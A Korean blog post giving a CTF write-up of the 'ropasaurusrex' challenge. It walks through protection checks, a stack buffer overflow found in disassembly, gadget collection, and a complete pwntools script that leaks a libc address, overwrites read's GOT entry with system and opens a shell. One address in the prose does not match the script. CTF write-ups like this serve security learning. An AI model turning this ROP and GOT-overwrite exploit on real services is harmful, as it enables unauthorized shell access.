티스토리 뷰



ROP에 대해 공부했으면 한번씩 푼다는 ropasaurusrex를 풀었습니다.


ROP를 접하고 처음 exploit을 하는 것이라 python socket에 대한 이해와 pwntool에 대한 공부가 좀 도움이 되었던 것 같습니다.


거의 하루를 오류때문에 미쳐버릴 뻔 했습니다.


아직도 무슨 오류인지 모르겠는데 모듈에 대한 문제 인 것 같습니다..


recv가 안되는 오류인데(소켓, 폰툴 둘 다) 계속 실행시키면 갑자기 안되다가 됩니다.


무슨 오류인지 아시면 댓글로 알려주세요..



파일은 32-bit elf 파일입니다.


checksec


먼저 checksec을 이용해서 어떠한 보호기법이 걸려있는지 확인해 봅니다.



NX가 걸려있습니다. NX는 데이터영역에서 특정 코드가 실행되는 것을 막습니다. 따라서 쉘코드를 실행을 못합니다. 그래서 ROP기법으로 풀어야 하는 것 입니다.



분석


IDA라는 프로그램을 이용해서 분석을 해봅시다.

메인 함수 입니다.

어떠한 함수를 호출하고 WIN이라는 문구를 stdout 해주고 종료를 하네요.


어떠한 함수를 보면.


ebp-0x88에 buf가 위치해있고 read 로 입력을 받습니다.


256만큼 받습니다.


ebp -0x88에 있으니깐


ebp까지는 136이고 sfp 4 그 다음 ret이겠죠,


근데 256만큼 입력을 받으니 BOF가 일어납니다.


시나리오 구상


이제 공격 시나리오를 구상 해보겠습니다.


먼저 이 바이너리에선 read 와 write밖에 안쓰기 때문에 이를 이용해야 합니다.


최종 목표는 쉘을 실행시켜야 합니다.


system함수를 실행시키고 /bin/sh을 인자로 넘겨줘야 합니다.


read함수를 이용해서 다른 섹션에 /bin/sh을 적어놓고 어찌하면 될 것 같습니다.


먼저 read함수의 과정은

read.plt -> read.got -> read.plt -> read 가 되는데


read.got를 system으로 바꾸면 될 듯 합니다.


필요한 가젯들을 살펴보겠습니다.


  1. read plt

  2. read got -> 이 부분에 system주소를 쓸 예정

  3. write plt

  4. /bin/sh을 적을 공간

  5. pppr (pop pop pop ret) -> read 와 write는 인자가 3개

  6. offset -> aslr이 적용 되어 있기 때문에 그냥 라이브러리에서 거리를 구해서 system을 구하는 것이죠!


가젯 구하기


먼저


1, 2, 3번을 구해보겠습니다.

peda에서 elfsymbol을 쓰면 주소가 나옵니다.


read_plt = 0x0804832c

write_plt = 0x0804830c


read의 plt주소를 구했으니 got도 구해보겠습니다.


read plt 다음 실행 될 것 들인데요 0x8049614로 점프를 합니다.


한 번 볼까요!



read_got  = 0x08048332 입니다.


1,2,3 번 다 구했습니다.


4 /bin/sh을 적을 공간을 찾아보도록 하겠습니다.



peda에서 elfheader치면 각 섹션들의 주소가 나옵니다. peda 굳!


dynamic 부분을 쓸 것 입니다.


dynamic = 0x8049530 입니다.


이제 pppr가젯을 구할 것 입니다.


저 명령어를 이용해서 가젯들의 주소를 얻을 수 있습니다.


필요한 pppr이 여기 있습니다.


pppr = 0x080484b6

입니다.


이제 라이브러리에서 read 와 system의 offset을 구해야 합니다.


real read의 주소를 구하고 나면 offset으로 system으로 구해야 겠죠


먼저 이 바이너리에서 사용하는 라이브러리를 찾아보겠습니다.



/lib/i386-linux 어쩌구 두 번째 줄에 있는 것을 사용한다고 합니다.


gdb로 분석해보겠습니다.


이제 offset을 구해보겠습니다.



offset = 0x9ad60


이제 가젯들을 다 모은듯 합니다.


exploit.py


먼저

read 를 해서 dynamic 영역에 /bin/sh을 넣고

write함수로 read 함수의 실제주소를 구하고

그 실제주소 - offset을 한 것이 system함수의 주소 이겠죠


이 system함수의 주소를 read_got에 overwrite를 하면


read_plt를 실행하면 system이 실행 되는 것이죠.


아래는 exploit.py입니다.



1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

#-*- coding: utf-8 -*-

from pwn import *


host = 'localhost'

port = 1234

conn = remote(host,port)

read_plt = 0x0804832c

read_got = 0x0804961c

write_plt = 0x0804830c

pppr = 0x080484b6

dynamic = 0x08049530

offset = 0x9ad60

binsh = "/bin/sh"

lenbinsh = len(binsh)

pay = "A"*140

#binsh을 dynamic영역에 적어놈

pay += p32(read_plt)

pay += p32(pppr)

pay += p32(0)

pay += p32(dynamic)

pay += p32(lenbinsh)

#write 로 real read got를 leak하는 부분

pay += p32(write_plt)

pay += p32(pppr)

pay += p32(1)

pay += p32(read_got)

pay += p32(4)

#read 함수를 이용해서 아까 릭된 read@got부분에 system을 넣음

pay += p32(read_plt)

pay += p32(pppr)

pay += p32(0)

pay += p32(read_got)

pay += p32(lenbinsh)

#system함수 실행

pay += p32(read_plt)

pay += "AAAA"

pay += p32(dynamic)

conn.send(pay)

conn.send(binsh)

sleep(1)

ppp = conn.recv(4)

read = u32(ppp)

print hex(read)

#system 주소

system = read-offset

print hex(system)

conn.send(p32(system))

conn.interactive()


Colored by Color Scripter

cs





쉘을 얻을 수 있습니다.






'pwnable > CTF write-up' 카테고리의 다른 글

[trustealth]easy write-up  (0) 2018.05.13
[CSAW2013] Exploitation-1 write-up  (0) 2018.05.12
[Codegate 2018] betting write-up  (0) 2018.05.12
[Codegate 2017] babypwn write-up  (0) 2018.01.30
[Defcon CTF 2015 예선]babycmd write-up  (0) 2018.01.26
Comments